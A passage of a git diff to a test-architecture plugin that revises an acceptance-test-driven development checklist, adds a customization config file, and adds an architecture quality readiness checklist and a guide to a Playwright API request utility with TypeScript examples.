 - [ ] Tasks include:
   - [ ] Route/component creation
   - [ ] Business logic implementation
@@ -170,12 +170,12 @@ Before starting this workflow, verify:
 
 ### ATDD Checklist Document Created
 
-- [ ] Output file created at `{test_artifacts}/atdd-checklist-{story_id}.md`
+- [ ] Output file created at `{test_artifacts}/atdd-checklist-{story_key}.md`
 - [ ] Document follows template structure from `atdd-checklist-template.md`
 - [ ] Document includes all required sections:
   - [ ] Story summary
   - [ ] Acceptance criteria breakdown
-  - [ ] Failing tests created (paths and line counts)
+  - [ ] Red-phase test scaffolds created (paths and line counts)
   - [ ] Data factories created
   - [ ] Fixtures created
   - [ ] Mock requirements
@@ -184,15 +184,16 @@ Before starting this workflow, verify:
   - [ ] Red-green-refactor workflow
   - [ ] Execution commands
   - [ ] Next steps for DEV team
-- [ ] Output shared with DEV workflow (manual handoff; not auto-consumed)
+- [ ] Checklist frontmatter includes `storyId`, `storyKey`, `storyFile`, `atddChecklistPath`, and generated test file paths
+- [ ] If a writable story file was provided, ATDD artifacts were linked back into story context
+- [ ] If a story file could not be updated, manual handoff instructions are present
 
-### All Tests Verified to Fail (RED Phase)
+### Red-Phase Scaffolds Verified
 
-- [ ] Full test suite run locally before finalizing
-- [ ] All tests fail as expected (RED phase confirmed)
-- [ ] No tests passing before implementation (if passing, test is invalid)
-- [ ] Failure messages documented in ATDD checklist
-- [ ] Failures are due to missing implementation, not test bugs
+- [ ] All generated acceptance test scaffolds are marked with `test.skip()`
+- [ ] No scaffold was emitted as an active passing test before implementation
+- [ ] Activation guidance is documented: remove `test.skip()` for the current task, then confirm RED before implementing
+- [ ] Any assumptions or expected failure reasons are documented in ATDD checklist
 - [ ] Test run output captured for reference
 
 ### Summary Provided
@@ -279,9 +280,9 @@ Before starting this workflow, verify:
 All of the following must be true before marking this workflow as complete:
 
 - [ ] **Story acceptance criteria analyzed** and mapped to appropriate test levels
-- [ ] **Failing tests created** at all appropriate levels (E2E, API, Component)
+- [ ] **Red-phase test scaffolds created** at all appropriate levels (E2E, API, Component)
 - [ ] **Given-When-Then format** used consistently across all tests
-- [ ] **RED phase verified** by local test run (all tests failing as expected)
+- [ ] **RED phase verified** by scaffold generation plus task-by-task activation guidance
 - [ ] **Network-first pattern** applied to E2E tests with network requests
 - [ ] **Data factories created** using faker (no hardcoded test data)
 - [ ] **Fixtures created** with auto-cleanup in teardown
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/customize.toml b/plugins/bmad/skills/bmad-testarch-atdd/customize.toml
new file mode 100644
index 0000000..499d19d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-atdd
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-atdd.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-atdd.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/instructions.md b/plugins/bmad/skills/bmad-testarch-atdd/instructions.md
index 40a738e..9e97015 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/instructions.md
@@ -2,14 +2,13 @@
 
 # Acceptance Test-Driven Development (ATDD)
 
-**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-atdd`
 **Version**: 5.0 (Step-File Architecture)
 
 ---
 
 ## Overview
 
-Generates **failing acceptance tests** before implementation (TDD red phase), plus an implementation checklist. Produces tests at appropriate levels (E2E/API/Component) with supporting fixtures and helpers.
+Generates **red-phase acceptance test scaffolds** before implementation (TDD red phase), plus an implementation checklist. Produces tests at appropriate levels (E2E/API/Component) with supporting fixtures and helpers.
 
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
+| --- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------- |
+| 4.1 | **RTO/RPO:** What is the Recovery Time Objective (how long to restore) and Recovery Point Objective (max data loss)? | Extended outages; data loss liability          | P2: RTO defined and tested, P2: RPO validated (backup frequency)        |
+| 4.2 | **Failover:** Is region/zone failover automated or manual? Has it been practiced?                                    | "Heroics" required during outages; human error | P2: Automated failover works, P2: Manual failover documented and tested |
+| 4.3 | **Backups:** Are backups immutable and tested for restoration integrity?                                             | Ransomware vulnerability; corrupted backups    | P2: Backup restore succeeds, P2: Backup immutability validated          |
+
+**Common Gaps:**
+
+- RTO/RPO undefined (no recovery plan)
+- Failover never tested (manual process, prone to errors)
+- Backups exist but restoration never validated (untested backups = no backups)
+
+**Mitigation Examples:**
+
+- 4.1 (RTO/RPO): Define RTO (e.g., 4 hours) and RPO (e.g., 1 hour), document recovery procedures
+- 4.2 (Failover): Automate multi-region failover, practice failover drills quarterly
+- 4.3 (Backups): Implement immutable backups (S3 versioning), test restore monthly
+
+---
+
+## 5. Security
+
+**Question:** Is the design safe by default?
+
+| #   | Criterion                                                                                                        | Risk if Unmet                            | Typical Test Scenarios (P0-P2)                                                                                   |
+| --- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------- |
+| 5.1 | **AuthN/AuthZ:** Does it implement standard protocols (OAuth2/OIDC)? Are permissions granular (Least Privilege)? | Unauthorized access; data leaks          | P0: OAuth flow works, P0: Expired token rejected, P0: Insufficient permissions return 403, P1: Scope enforcement |
+| 5.2 | **Encryption:** Is data encrypted at rest (DB) and in transit (TLS)?                                             | Compliance violations; data theft        | P1: Milvus data-at-rest encrypted, P1: TLS 1.2+ enforced, P2: Certificate rotation works                         |
+| 5.3 | **Secrets:** Are API keys/passwords stored in a Vault (not in code or config files)?                             | Credentials leaked in git history        | P1: No hardcoded secrets in code, P1: Secrets loaded from AWS Secrets Manager                                    |
+| 5.4 | **Input Validation:** Are inputs sanitized against Injection attacks (SQLi, XSS)?                                | System compromise via malicious payloads | P1: SQL injection sanitized, P1: XSS escaped, P2: Command injection prevented                                    |
+
+**Common Gaps:**
+
+- Weak authentication (no OAuth, hardcoded API keys)
+- No encryption at rest (plaintext in database)
+- Secrets in git (API keys, passwords in config files)
+- No input validation (vulnerable to SQLi, XSS, command injection)
+
+**Mitigation Examples:**
+
+- 5.1 (AuthN/AuthZ): Implement OAuth 2.1/OIDC, enforce least privilege, validate scopes
+- 5.2 (Encryption): Enable TDE (Transparent Data Encryption), enforce TLS 1.2+
+- 5.3 (Secrets): Migrate to AWS Secrets Manager/Vault, scan git history for leaks
+- 5.4 (Input Validation): Sanitize all inputs, use parameterized queries, escape outputs
+
+---
+
+## 6. Monitorability, Debuggability & Manageability
+
+**Question:** Can we operate and fix this in production?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                      | Typical Test Scenarios (P0-P2)                                                                    |
+| --- | ---------------------------------------------------------------------------------------------------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
+| 6.1 | **Tracing:** Does the service propagate W3C Trace Context / Correlation IDs for distributed tracing? | Impossible to debug errors across microservices    | P2: W3C Trace Context propagated (EventBridge → Lambda → Service), P2: Correlation ID in all logs |
+| 6.2 | **Logs:** Can log levels (INFO vs DEBUG) be toggled dynamically without a redeploy?                  | Inability to diagnose issues in real-time          | P2: Log level toggle works without redeploy, P2: Logs structured (JSON format)                    |
+| 6.3 | **Metrics:** Does it expose RED metrics (Rate, Errors, Duration) for Prometheus/Datadog?             | Flying blind regarding system health               | P2: /metrics endpoint exposes RED metrics, P2: Prometheus/Datadog scrapes successfully            |
+| 6.4 | **Config:** Is configuration externalized? Can we change behavior without a code build?              | Rigid system; full deploys needed for minor tweaks | P2: Config change without code build, P2: Feature flags toggle behavior                           |
+
+**Common Gaps:**
+
+- No distributed tracing (can't debug across microservices)
+- Static log levels (requires redeploy to enable DEBUG)
+- No metrics endpoint (blind to system health)
+- Configuration hardcoded (requires full deploy for minor changes)
+
+**Mitigation Examples:**
+
+- 6.1 (Tracing): Implement W3C Trace Context, add correlation IDs to all logs
+- 6.2 (Logs): Use dynamic log levels (environment variable), structured logging (JSON)
+- 6.3 (Metrics): Expose /metrics endpoint, track RED metrics (Rate, Errors, Duration)
+- 6.4 (Config): Externalize config (AWS SSM/AppConfig), use feature flags (LaunchDarkly)
+
+---
+
+## 7. QoS (Quality of Service) & QoE (Quality of Experience)
+
+**Question:** How does it perform, and how does it feel?
+
+| #   | Criterion                                                                                            | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                                  |
+| --- | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------------------------------------------------------------------------- |
+| 7.1 | **Latency (QoS):** What are the P95 and P99 latency targets?                                         | Slow API responses affecting throughput                | P3: P95 latency <Xs (load test), P3: P99 latency <Ys (load test)                                |
+| 7.2 | **Throttling (QoS):** Is there Rate Limiting to prevent "noisy neighbors" or DDoS?                   | Service degradation for all users due to one bad actor | P2: Rate limiting enforced, P2: 429 returned when limit exceeded                                |
+| 7.3 | **Perceived Performance (QoE):** Does the UI show optimistic updates or skeletons while loading?     | App feels sluggish to the user                         | P2: Skeleton/spinner shown while loading (E2E), P2: Optimistic updates (E2E)                    |
+| 7.4 | **Degradation (QoE):** If the service is slow, does it show a friendly message or a raw stack trace? | Poor user trust; frustration                           | P2: Friendly error message shown (not stack trace), P1: Error boundary catches exceptions (E2E) |
+
+**Common Gaps:**
+
+- Latency targets undefined (no SLOs)
+- No rate limiting (vulnerable to DDoS, noisy neighbors)
+- Poor perceived performance (blank screen while loading)
+- Raw error messages (stack traces exposed to users)
+
+**Mitigation Examples:**
+
+- 7.1 (Latency): Define SLOs (P95 <2s, P99 <5s), load test to validate
+- 7.2 (Throttling): Implement rate limiting (per-user, per-IP), return 429 with Retry-After
+- 7.3 (Perceived Performance): Add skeleton screens, optimistic updates, progressive loading
+- 7.4 (Degradation): Implement error boundaries, show friendly messages, log stack traces server-side
+
+---
+
+## 8. Deployability
+
+**Question:** How easily can we ship this?
+
+| #   | Criterion                                                                                  | Risk if Unmet                                          | Typical Test Scenarios (P0-P2)                                                 |
+| --- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------ |
+| 8.1 | **Zero Downtime:** Does the design support Blue/Green or Canary deployments?               | Maintenance windows required (downtime)                | P2: Blue/Green deployment works, P2: Canary deployment gradual rollout         |
+| 8.2 | **Backward Compatibility:** Can we deploy the DB changes separately from the Code changes? | "Lock-step" deployments; high risk of breaking changes | P2: DB migration before code deploy, P2: Code handles old and new schema       |
+| 8.3 | **Rollback:** Is there an automated rollback trigger if Health Checks fail post-deploy?    | Prolonged outages after a bad deploy                   | P2: Health check fails → automated rollback, P2: Rollback completes within RTO |
+
+**Common Gaps:**
+
+- No zero-downtime strategy (requires maintenance window)
+- Tight coupling between DB and code (lock-step deployments)
+- No automated rollback (manual intervention required)
+
+**Mitigation Examples:**
+
+- 8.1 (Zero Downtime): Implement Blue/Green or Canary deployments, use feature flags
+- 8.2 (Backward Compatibility): Separate DB migrations from code deploys, support N-1 schema
+- 8.3 (Rollback): Automate rollback on health check failures, test rollback procedures
+
+---
+
+## Usage in Test Design Workflow
+
+**System-Level Mode (Phase 3):**
+
+**In test-design-architecture.md:**
+
+- Add "NFR Testability Requirements" section after ASRs
+- Use 8 categories with checkboxes (29 criteria)
+- For each criterion: Status (⬜ Not Assessed, ⚠️ Gap, ✅ Covered), Gap description, Risk if unmet
+- Example:
+
+```markdown
+## NFR Testability Requirements
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation
+
+Can we verify this effectively without manual toil?
+
+| Criterion                                                        | Status          | Gap/Requirement                      | Risk if Unmet                           |
+| ---------------------------------------------------------------- | --------------- | ------------------------------------ | --------------------------------------- |
+| ⬜ Isolation: Can service be tested with downstream deps mocked? | ⚠️ Gap          | No mock endpoints for Athena queries | Flaky tests; can't test in isolation    |
+| ⬜ Headless: 100% business logic accessible via API?             | ✅ Covered      | All MCP tools are REST APIs          | N/A                                     |
+| ⬜ State Control: Seeding APIs to inject data states?            | ⚠️ Gap          | Need `/api/test-data` endpoints      | Long setup times; can't test edge cases |
+| ⬜ Sample Requests: Valid/invalid cURL/JSON samples provided?    | ⬜ Not Assessed | Pending ADR Tool schemas finalized   | Ambiguity on how to consume service     |
+
+**Actions Required:**
+
+- [ ] Backend: Implement mock endpoints for Athena (R-002 blocker)
+- [ ] Backend: Implement `/api/test-data` seeding APIs (R-002 blocker)
+- [ ] PM: Finalize ADR Tool schemas with sample requests (Q4)
+```
+
+**In test-design-qa.md:**
+
+- Map each criterion to test scenarios
+- Add "NFR Test Coverage Plan" section with P0/P1/P2 priority for each category
+- Reference Architecture doc gaps
+- Example:
+
+```markdown
+## NFR Test Coverage Plan
+
+**Based on ADR Quality Readiness Checklist**
+
+### 1. Testability & Automation (4 criteria)
+
+**Prerequisites from Architecture doc:**
+
+- [ ] R-002: Test data seeding APIs implemented (blocker)
+- [ ] Mock endpoints available for Athena queries
+
+| Criterion                       | Test Scenarios                                                       | Priority | Test Count | Owner            |
+| ------------------------------- | -------------------------------------------------------------------- | -------- | ---------- | ---------------- |
+| Isolation: Mock downstream deps | Mock Athena queries, Mock Milvus, Service runs isolated              | P1       | 3          | Backend Dev + QA |
+| Headless: API-accessible logic  | All MCP tools callable via REST, No UI dependency for business logic | P0       | 5          | QA               |
+| State Control: Seeding APIs     | Create test customer, Seed 1000 transactions, Inject edge cases      | P0       | 4          | QA               |
+| Sample Requests: cURL examples  | Valid request succeeds, Invalid request fails with clear error       | P1       | 2          | QA               |
+
+**Detailed Test Scenarios:**
+
+- [ ] Isolation: Service runs with Athena mocked (returns fixture data)
+- [ ] Isolation: Service runs with Milvus mocked (returns ANN fixture)
+- [ ] State Control: Seed test customer with 1000 baseline transactions
+- [ ] State Control: Inject edge case (expired subscription user)
+```
+
+---
+
+## Usage in NFR Assessment Workflow
+
+**Output Structure:**
+
+```markdown
+# NFR Assessment: {Feature Name}
+
+**Based on ADR Quality Readiness Checklist (8 categories, 29 criteria)**
+
+## Assessment Summary
+
+| Category                      | Status      | Criteria Met | Evidence                               | Next Action          |
+| ----------------------------- | ----------- | ------------ | -------------------------------------- | -------------------- |
+| 1. Testability & Automation   | ⚠️ CONCERNS | 2/4          | Mock endpoints missing                 | Implement R-002      |
+| 2. Test Data Strategy         | ✅ PASS     | 3/3          | Faker + auto-cleanup                   | None                 |
+| 3. Scalability & Availability | ⚠️ CONCERNS | 1/4          | SLA undefined                          | Define SLA           |
+| 4. Disaster Recovery          | ⚠️ CONCERNS | 0/3          | No RTO/RPO defined                     | Define recovery plan |
+| 5. Security                   | ✅ PASS     | 4/4          | OAuth 2.1 + TLS + Vault + Sanitization | None                 |
+| 6. Monitorability             | ⚠️ CONCERNS | 2/4          | No metrics endpoint                    | Add /metrics         |
+| 7. QoS & QoE                  | ⚠️ CONCERNS | 1/4          | Latency targets undefined              | Define SLOs          |
+| 8. Deployability              | ✅ PASS     | 3/3          | Blue/Green + DB migrations + Rollback  | None                 |
+
+**Overall:** 14/29 criteria met (48%) → ⚠️ CONCERNS
+
+**Gate Decision:** CONCERNS (requires mitigation plan before GA)
+
+---
+
+## Detailed Assessment
+
+### 1. Testability & Automation (2/4 criteria met)
+
+**Question:** Can we verify this effectively without manual toil?
+
+| Criterion                    | Status | Evidence                 | Gap/Action                 |
+| ---------------------------- | ------ | ------------------------ | -------------------------- |
+| ⬜ Isolation: Mock deps      | ⚠️     | No Athena mock           | Implement mock endpoints   |
+| ⬜ Headless: API-accessible  | ✅     | All MCP tools are REST   | N/A                        |
+| ⬜ State Control: Seeding    | ⚠️     | `/api/test-data` pending | Pre-implementation blocker |
+| ⬜ Sample Requests: Examples | ⬜     | Pending schemas          | Finalize ADR Tools         |
+
+**Overall Status:** ⚠️ CONCERNS (2/4 criteria met)
+
+**Next Actions:**
+
+- [ ] Backend: Implement Athena mock endpoints (pre-implementation)
+- [ ] Backend: Implement `/api/test-data` (pre-implementation)
+- [ ] PM: Finalize sample requests (implementation phase)
+
+{Repeat for all 8 categories}
+```
+
+---
+
+## Benefits
+
+**For test-design workflow:**
+
+- ✅ Standard NFR structure (same 8 categories every project)
+- ✅ Clear testability requirements for Architecture team
+- ✅ Direct mapping: criterion → requirement → test scenario
+- ✅ Comprehensive coverage (29 criteria = no blind spots)
+
+**For nfr-assess workflow:**
+
+- ✅ Structured assessment (not ad-hoc)
+- ✅ Quantifiable (X/29 criteria met)
+- ✅ Evidence-based (each criterion has evidence field)
+- ✅ Actionable (gaps → next actions with owners)
+
+**For Architecture teams:**
+
+- ✅ Clear checklist (29 yes/no questions)
+- ✅ Risk-aware (each criterion has "risk if unmet")
+- ✅ Scoped work (only implement what's needed, not everything)
+
+**For QA teams:**
+
+- ✅ Comprehensive test coverage (29 criteria → test scenarios)
+- ✅ Clear priorities (P0 for security/isolation, P1 for monitoring, etc.)
+- ✅ No ambiguity (each criterion has specific test scenarios)
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-request.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-request.md
new file mode 100644
index 0000000..a66cef5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-request.md
@@ -0,0 +1,563 @@
+# API Request Utility
+
+## Principle
+
+Use typed HTTP client with built-in schema validation and automatic retry for server errors. The utility handles URL resolution, header management, response parsing, and single-line response validation with proper TypeScript support. **Works without a browser** - ideal for pure API/service testing.
+
+## Rationale
+
+Vanilla Playwright's request API requires boilerplate for common patterns:
+
+- Manual JSON parsing (`await response.json()`)
+- Repetitive status code checking
+- No built-in retry logic for transient failures
+- No schema validation
+- Complex URL construction
+
+The `apiRequest` utility provides:
+
+- **Automatic JSON parsing**: Response body pre-parsed
+- **Built-in retry**: 5xx errors retry with exponential backoff
+- **Schema validation**: Single-line validation (JSON Schema, Zod, OpenAPI)
+- **URL resolution**: Four-tier strategy (explicit > config > Playwright > direct)
+- **TypeScript generics**: Type-safe response bodies
+- **No browser required**: Pure API testing without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic API Request
+
+**Context**: Making authenticated API requests with automatic retry and type safety.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('should fetch user data', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User>({
+    method: 'GET',
+    path: '/api/users/123',
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(200);
+  expect(body.name).toBe('John Doe'); // TypeScript knows body is User
+});
+```
+
+**Key Points**:
+
+- Generic type `<User>` provides TypeScript autocomplete for `body`
+- Status and body destructured from response
+- Headers passed as object
+- Automatic retry for 5xx errors (configurable)
+
+### Example 2: Schema Validation (Single Line)
+
+**Context**: Validate API responses match expected schema with single-line syntax.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { z } from 'zod';
+
+// JSON Schema validation
+test('should validate response schema (JSON Schema)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: {
+      type: 'object',
+      required: ['id', 'name', 'email'],
+      properties: {
+        id: { type: 'string' },
+        name: { type: 'string' },
+        email: { type: 'string', format: 'email' },
+      },
+    },
+  });
+  // Throws if schema validation fails
+  expect(status).toBe(200);
+});
+
+// Zod schema validation
+const UserSchema = z.object({
+  id: z.string(),
+  name: z.string(),
+  email: z.string().email(),
+});
+
+test('should validate response schema (Zod)', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users/123',
+    validateSchema: UserSchema,
+  });
+  // Response body is type-safe AND validated
+  expect(status).toBe(200);
+  expect(body.email).toContain('@');
+});
+```
+
+**Key Points**:
+
+- Single `validateSchema` parameter
+- Supports JSON Schema, Zod, YAML files, OpenAPI specs
+- Throws on validation failure with detailed errors
+- Zero boilerplate validation code
+
+### Example 3: POST with Body and Retry Configuration
+
+**Context**: Creating resources with custom retry behavior for error testing.
+
+**Implementation**:
+
+```typescript
+test('should create user', async ({ apiRequest }) => {
+  const newUser = {
+    name: 'Jane Doe',
+    email: 'jane@example.com',
+  };
+
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: newUser, // Automatically sent as JSON
+    headers: { Authorization: 'Bearer token' },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+
+// Disable retry for error testing
+test('should handle 500 errors', async ({ apiRequest }) => {
+  await expect(
+    apiRequest({
+      method: 'GET',
+      path: '/api/error',
+      retryConfig: { maxRetries: 0 }, // Disable retry
+    }),
+  ).rejects.toThrow('Request failed with status 500');
+});
+```
+
+**Key Points**:
+
+- `body` parameter auto-serializes to JSON
+- Default retry: 5xx errors, 3 retries, exponential backoff
+- Disable retry with `retryConfig: { maxRetries: 0 }`
+- Only 5xx errors retry (4xx errors fail immediately)
+
+### Example 4: URL Resolution Strategy
+
+**Context**: Flexible URL handling for different environments and test contexts.
+
+**Implementation**:
+
+```typescript
+// Strategy 1: Explicit baseUrl (highest priority)
+await apiRequest({
+  method: 'GET',
+  path: '/users',
+  baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
+});
+
+// Strategy 2: Config baseURL (from fixture)
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.use({ configBaseUrl: 'https://staging-api.example.com' });
+
+test('uses config baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://staging-api.example.com/users
+  });
+});
+
+// Strategy 3: Playwright baseURL (from playwright.config.ts)
+// playwright.config.ts
+export default defineConfig({
+  use: {
+    baseURL: 'https://api.example.com',
+  },
+});
+
+test('uses Playwright baseURL', async ({ apiRequest }) => {
+  await apiRequest({
+    method: 'GET',
+    path: '/users', // Uses https://api.example.com/users
+  });
+});
+
+// Strategy 4: Direct path (full URL)
+await apiRequest({
+  method: 'GET',
+  path: 'https://api.example.com/users', // Full URL works too
+});
+```
+
+**Key Points**:
+
+- Four-tier resolution: explicit > config > Playwright > direct
+- Trailing slashes normalized automatically
+- Environment-specific baseUrl easy to configure
+
+### Example 5: Integration with Recurse (Polling)
+
+**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('should poll until job completes', async ({ apiRequest, recurse }) => {
+  // Create job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  const jobId = body.id;
+
+  // Poll until ready
+  const completedJob = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000, interval: 2000 },
+  );
+
+  expect(completedJob.body.result).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- `apiRequest` returns full response object
+- `recurse` polls until predicate returns true
+- Composable utilities work together seamlessly
+
+### Example 6: Microservice Testing (Multiple Services)
+
+**Context**: Test interactions between microservices without a browser.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
